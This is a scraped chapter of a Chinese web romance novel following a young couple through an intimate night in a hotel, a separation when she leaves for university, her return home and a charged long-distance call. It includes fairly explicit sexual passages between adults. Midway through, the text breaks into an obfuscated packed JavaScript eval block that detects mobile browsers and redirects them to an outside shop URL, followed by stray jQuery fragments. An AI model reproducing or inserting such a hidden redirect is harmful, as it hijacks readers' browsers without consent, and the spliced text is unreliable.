76. 拜托

作品:《乱麻里摘花[出租屋]

    “放松。”


    “我,后……悔了。”


    骆远方抬手拂去郑策额头细细密密的汗珠。


    “晚了,已经在里面了。”


    他因克制声音沙哑,吻上郑策紧皱的眉心。


    “听话,相信我。”


    “你刚就是这么说的,信你个鬼啊!”


    最后一个音撕破了,猛地一下,郑策双目失焦,仰起脖子,控制不住抖了两下。


    骆远方一愣,立刻明白其中关窍,低头去啄她鼻尖,唇角,耳垂,在郑策耳边喘着粗气,轻声说:


    “交给我。”


    “……谁要交?”


    郑策声音越来越小,几乎是咬着齿关,从齿缝里露出来的话。


    “实在不行……”


    骆远方牵起郑策挡在眼睛上的手腕,往下移。


    “你用手?”


    ……现在哪儿还有力气。


    郑策扭过通红的脸,抽回手,重新盖在自己眼睛上,说出的话还带着鼻音。


    “不要。”


    听见上面传来低低一声笑,骆远方说话也断断续续的。


    “谁……让你……掏我衣兜……”


    郑策感觉自己像是把上回在连阳没玩的过山车都玩通关了,上下起伏、失重、气短。


    又有鬼屋里精神控制不住的紧绷,像被NPC忽然抓住,阵阵刺激顺着皮肤接触的神经末梢,电击一般直达颅顶。


    但也有能缓一口气的时候,比如旋转木马这种无伤大雅的项目。


    只要在抓住那根杆,木马自会缓慢有节奏的上下起伏,耕耘般持久有序。纵使是再胆小的人,过一会儿也能适应。


    除了……偶有一两个马设备老化,衔接处过于干燥,工作人员没来得及涂上润滑。


    会规律两秒后,上升到顶时,突然重击,颠簸得人吓一大跳。


    然而音乐不停,木马不停,于是又规律起伏几下,滋啦一声,又卡顿数秒,如此往复……


    折磨人心。


    旋转木马一直不停,便会头晕。


    试想,空间本就不大,围绕着中心一直规律转圈,谁能受得了?


    郑策眼睛几乎不能视物,眼前只有个模糊的轮廓,耳边有轻微水声。


    像将橙子对半掰开那一瞬间,滋啦一声,溅人一手的汁水。


    只是这声怎么不停……


    她迷糊地想,这么爱吃橙子么!


    郑策委屈:“我哪知道嗯你……兜里有……嗯……这个……”


    她难耐侧头,紧闭着眼将滚烫的脸埋进枕头里。


    声音被棉絮包裹,听上去滑稽又可怜:


    “……我只是想吃糖而已。”


    绯红耳朵露出来,刚好便宜了某人凑上去说些脸红心跳的臊皮话:


    “这也好吃的。”


    说完便又轻咬她耳郭,柔声继续哄劝。


    “张嘴,我要亲你。”


    知道不会好受,但没想到持久又烈性,像被经年的醇酒浸泡,辣得全身滚烫。


    这家伙不是人!


    最后实在没力气,浑身骨头像被抽走,郑策只得随意他折腾。


    事后眼睛困得睁不开,郑策任凭骆远方把她捞起来,顾不得有无遮蔽,只软绵绵靠着他,被抱进浴室。


    “水温可以么?”


    此时的骆远方和方才油盐不进的家伙判若两人。


    怎么叫他慢一点,停下来,耳朵跟失聪了似的。


    郑策心想,夜盲会影响听力吗我请问呢。


    “有点烫。”郑策眼睛都没睁开,心安理得享受这一切。


    “现在呢?”


    “嗯。”


    郑策闷闷嗯一声,把脸转过去压在骆远方锁骨上。


    听见细声呜咽,骆远方吓了一跳,停下手里的动作。


    “怎么了?弄疼了?”


    “我不知道。”


    郑策抬手抱住他脖子,脸依旧是埋着,主要怕自己摔下去。


    她说:


    “就是想哭。”


    “是……我没做好吗?”骆远方低头看着她头顶,轻声问。


    郑策挂着他,摇摇头。


    罢了,又顾着某人的自尊,带着鼻音补充一句:“很好。”


    “那,我继续了?”


    “嗯。”


    “可能……还得洗洗里面。”骆远方细心提醒。


    “别说话,要洗洗……”


    郑策红着脸抵在他胸口,蹭了蹭,软绵绵地说着凶巴巴的话。


    气息轻扫过皮肤,引起一片酥意。


    郑策又往怀里拱了拱,低声说:“抱紧我。”


    搂着她的手听话地照办,没有衣料相隔,严丝合缝。


    但还是会不适,过程中,郑策忍住一声低吟从喉底逸出。


    耳边只剩水声淅沥,像经历了漫长闷热的梅雨。


    窗外蝉声清亮,风扇转动,榕树浓荫下有脚踏车的清脆铃响。


    室内的雨幕密密切切将他们包裹,身上湿润分不清是汗是泪,轻柔的雾气里,他们沉默地相拥。


    但哼了两声后,郑策后知后觉不对劲。


    她是坐在骆远方腿上的。


    紧靠的地方,又有抬头的动静。


    难怪骆远方一直没说话。


    且忍着呢。


    郑策眨了眨眼睛。


    一时不知如何是好。


    像是看穿郑策的羞赧,骆远方柔声道:


    “不会再折腾你了。”


    关掉花洒,用浴巾将人包裹,吸干水分,再轻放到喧软床垫。


    骆远方亲了下她眼睛,“等我一会儿。”


    还没离开,被套下伸出来的手将他握住。


    郑策脸上粉霜未褪:“你……要自己……那个么?”


    骆远方怔了下,垂眸看着她。


    “哪个?”


    被套边缘露出的圆肩红润剔透,骆远方有意逗她。


    “就……”郑策皱眉,无力地发着小脾气。


    “自己解决。”


    被骆远方看得脸烫,郑策又憋出两句:“那我可以……”


    “你太累了。”


    骆远方俯身又亲了下已经被亲得水润泛红的唇,将郑策的手塞回去,继续逗人。


    “不着急这一次。”


    “不是,我说我用手!”


    他们只开了吊顶里的小灯,光线不亮,骆远方刚好站在下面,脸上氤氲无限柔情。


    “你就在这儿,我怎么会自己搞?”


    他轻微用力捏郑策的脸,恶作剧地把人的嘴捏得嘟出来,又亲了口,“吧”的一声。


    “不用了,我去冲个冷水澡,困了就先睡。”


    郑策:……


    但本来还满眼困意的人听见这话后,睡意全无。


    半晌,骆远方从浴室轻手轻脚出来,手刚摸上灯光开关,就和床上的人大眼瞪小眼。


    他笑着走过去,问:“怎么不睡?”


    这下两人之间再无脸皮上的隔阂,骆远方直接钻进被子,将人揽在怀里。


    “骆淇让我们去逛什么五A级景区来着。”


    顾不得被冻一激灵,郑策看着他,眼睛睁得很大。


    她有种被骆淇洞察看穿一切的心虚。


    “你怎么说?”


    “我说我们去了啊,挺好玩的,风景也好看,吃得也美味。”骆远方张口就来。


    “要看照片呢?”


    “网上下载两张就行了。”骆远方搓了搓郑策胳膊。


    “我用冷水洗的,冻着你了么?”


    “照片一眼就知道不是你拍的。”


    郑策此时如临大敌,脑子里飞速浏览三十六计。


    “那怎么办?”


    骆远方说,“如实告诉她,一整天都在酒店里,累了。”


    郑策震惊地看这人堪比城墙的脸皮,随即无奈嚎道:“都怪你!搞这么久,天都黑了。”


    “刚才还要抱紧点,现在翻脸不认人?”


    骆远方挑眉,戏谑地看着怀里的人。


    郑策噘着嘴看他一会,随即抱住骆远方的腰,往他怀里拱了拱,低声道:“什么都没干,明天你就要走了。”


    骆远方失笑,揉她的头,“你还想干什么?”


    “不想你走。”郑策抱着骆远方嘟囔。


    “什么?”


    郑策又重复了句:“biang泥肘。”


    骆远方笑道:“没听清。”


    “不想你走不想你走不想你走不想你走不想你走。”


    骆远方深吸一口气,忽然翻身撑在郑策上方,低声叹道:“那怎么办,我已经开始舍不得了。”


    位置一变,郑策又不敢说话了……


    但该来的终究会来,第二天一醒,悲伤的氛围就笼罩在整个房间里。


    郑策醒来后看什么都不顺眼,包括骆远方,跟吃了炮仗似的,啥都不乐意。骆远方也由着她,把东西收拾好了才说:“我得走了。”


    嘴里跟含了七八个松果似的人看过来,眼神又急又难过。


    “好了,之前不是好好的么?”


    骆远方放下手里的东西去抱她,轻轻在郑策背后拍了拍。


    “一学期很快的,说不定我哪天没事了也会来看你的。”


    怀里的人长长地吸气呼气压抑情绪,为了展现成熟,半天憋出一句得体的话:


    “我送你去车站。”


    最后郑策也没能把骆远方送走,因为骆远方说不想让她看见自己的背影。


    骆远方在车站把人送上了出租车。


    郑策额头抵着窗户,车内开着空调,玻璃上凝结一层散不去的水雾,混在她眼睛里。


    骆远方看着,心又被揪了起来。


    也不知道把这家伙一个人丢在这儿,能不能照顾好自己。


    但还没来得及说话,郑策就盯着他在不解风情司机的一脚油门中远去。


    骆远方勉强撑出笑意,朝出租车挥挥手。


    踏马的,开这么快。


    *


    学校的日子对郑策来说,比起之前要明朗许多。


    有了前车之鉴和心理准备,对宿舍关系本就没抱太大希望,也就谈不上失望。


    而大学社团也多限于自娱自乐范畴,自己发推文,自己造势举办活动,少得可怜的观众,仅限于亲友捧场的评论区……


    她也没参加。


    课上,旁边一排学生全把手机举得老高,拍PPT的时候顺带把老师们的微表情给完全复刻,期末做成表情包用以泄愤。


    有老师的口音依旧听不懂,实在错过太多内容,郑策就掏出手机给骆远方发消息。


    骆远方找到了暂时兼职,去棚子里当摄影助理,有事没事会寄些家里特产过来。菊乐酸奶都寄了好几箱,说是出了省就喝不到了。


    每次打电话过来,最后一句都是问郑策钱还够用么?


    有一回被骆淇听见了,立马在电话里阴阳怪气,说人大方地把钱都留给他们用,自己去学校修仙呢。


    看来还在气头上。


    北方秋天很短,北风一吹,就得加上毛衣,雨水很少,沙尘渐起,身上裹得也就越来越厚。


    两人逐渐习惯了无法见面的通话,郑策甚至喜欢上了骆远方透过电流之后声音的质感,带着金属的沉稳,但依旧很亮。


    第一学期结束,郑策为了不让骆远方来接她,没提前说放假时间。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872281|175302||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凌晨六点天还没亮便拖着行李箱在空无一人的大街上赶第一班地铁。


    裸露在外面的皮肤被冻得快没知觉,一到火车站,每个暖气片旁边都贴着站满了大棉袄们。


    大厅里通风太好,暖意基本靠哈气,郑策又只有等着上车了才感觉到四肢回血。


    她的座位靠窗,车窗玻璃早布满水汽,抬手擦出一片风景,会看见堆满草垛的麦场,路边电线上停着的一晃而过的鸟。


    冬日的天很蓝,树叶知趣地落下,以便人们看见更广阔的天。


    没一会儿,水汽又会糊上玻璃,刚开始像一层磨砂,凑近了会看见密密匝匝的小水滴没有缝隙地挤在一起。


    再积累久了不去擦,玻璃上的水滴积累变大,阳光穿透,反射彩色的光。


    像碎钻。


    郑策就发着呆,做梦一般,又拖着行李回到那个童年的小镇。


    火车逐渐刹车,钢轮摩擦铁轨,像鲸鱼的低鸣,沉闷地在空中扩散。


    越过萧瑟荒凉的天,到了南方,色彩便丰富了许多。


    还没下车,郑策收到骆远方的信息:我在马踏飞燕这儿等你。


    郑策心里雀跃,看见骆远方的瞬间更是如此。她控制住自己没扑上去,不然凭小镇的信息传播速度,十分钟后便会接到骆淇的问候。


    “你怎么知道我回来了?”


    “因为太想你了,所以就知道了。”


    骆远方倒是没在意,俯身在郑策嘴上啄了下,接过行李。


    “上车。”


    所有一切似曾相识,郑策接过头盔正要感叹,话却堵在喉头。


    “诶?”


    “怎么换了个电瓶车?”


    “平时骑这个在镇上跑安全,还便宜。”


    骆远方扭头问她,“这回不让我推着行李骑车了?”


    郑策笑着学他之前的话,坐上去,“我拖,我脱靶骑摩托。”


    电瓶开得不快,但在骆远方手里依旧游刃有余,相当惊险。


    郑策觉得他们像一尾鱼,穿梭在城中村嘈杂的老旧物件里。每每眼看着就快撞上前面的人,骆远方方向一转,将将隔几厘米擦肩而过。


    郑策不由地发愣,这半年来,骆远方在这样的地方独自骑着电瓶穿梭了多久呢。


    将来又还要坚持多久呢。


    小镇一切都还是老样子,和半年前没什么变化。周全和褚铭守着金店,万杨也看不出病态,五元店被周全他们拯救过后,依旧开得有声有色。


    安城北的成绩刚够读个大专,他没去,留下来考了驾照,偶尔帮店里跑跑货。


    家里一开始还有重逢的欢欣,但到后面,就连江蔚云养的两只小鸡也不想搭理郑策了。


    脾气挺傲,难怪江蔚云赐名一曰屁大爷,一曰球大爷。


    敢情养了两只大爷。


    所有的人都有自己的事要忙,唯一的大学生郑策整日在家,显得多少有点多余。


    闲着没事,她给上回在连阳记下的鬼屋老板写了几片鬼故事投稿,没想到对方意向挺好。


    日复一日的生活使人疲惫。


    年后开学,骆远方忙着工作没能送她,两人在家里匆匆抱了下,郑策又独自一人踏上他乡。


    但新学期后,骆远方和郑策的通话都少了很多。难得一两次视频,郑策透过模糊的画质都能看见骆远方满脸的疲惫。


    郑策知道他是强撑着精神在和自己通话后,也变得小心翼翼,不敢轻易打过去了。


    他们的生活像是在不知不觉间,进入了两条线。


    一个围在学校的围城里,一个负担重物在社会打拼。


    好像之前的一切,只是短暂相交。他们终将分离。


    晚上从图书馆出来,春日气温回升,郑策照例和骆远方发消息。


    没想到他却一个电话打了过来。


    “刚从图书馆出来么?”骆远方那头的声音有些闷。


    “嗯。”郑策问,“怎么忽然打电话过来?”


    “没什么,想听你的声音了。”


    “骆远方,你声音怎么了?”郑策停住脚步,立在原地问他。


    “嗯换季有点感冒。”


    骆远方像是半梦半醒着。


    他说:“郑策,我这段时间一直在想人生的意义到底是什么,想来想去,不过是死前不要留下遗憾。”


    郑策听到这里,心里莫名有些紧张。


    电话那头顿了下,只有些微电流杂音。


    骆远方又似叹着说:


    “所以,我好想你啊。”


    心里像是被揪了一下,郑策捏紧拳头不让自己泄气,浑身紧绷导致有些颤抖。


    她勉强嗯了声。


    前阵子两人渐行渐远,郑策不是没察觉,只是相信她和骆远方能走下去。


    但心里总还是有这样那样的声音,质疑,否定,嘲笑不可能,嘲笑理想化的爱情。


    骆远方一向不是会主动表达自己感情的人,郑策也是。


    但越是这样,偶有一次的剖白,就越显得弥足珍贵。


    “我也很想你。”


    郑策在黑夜里,轻声对着手机话筒说。


    “很想很想。”


    话刚出口,电话那边传出一声轻哼。


    隔着听筒,郑策听见骆远方的呼吸一次比一次沉重,速度也渐快。


    她迟疑了下,问:“骆远方,你在做什么?”


    “不要停……继续说……”像是喝醉酒的人说话,字与字之间粘连,逻辑前后不通。


    郑策听见骆远方喘了下,声音似有些哽咽,带着委屈。


    “拜托……我……“


    他急促换了口气。


    “就是太想你了……”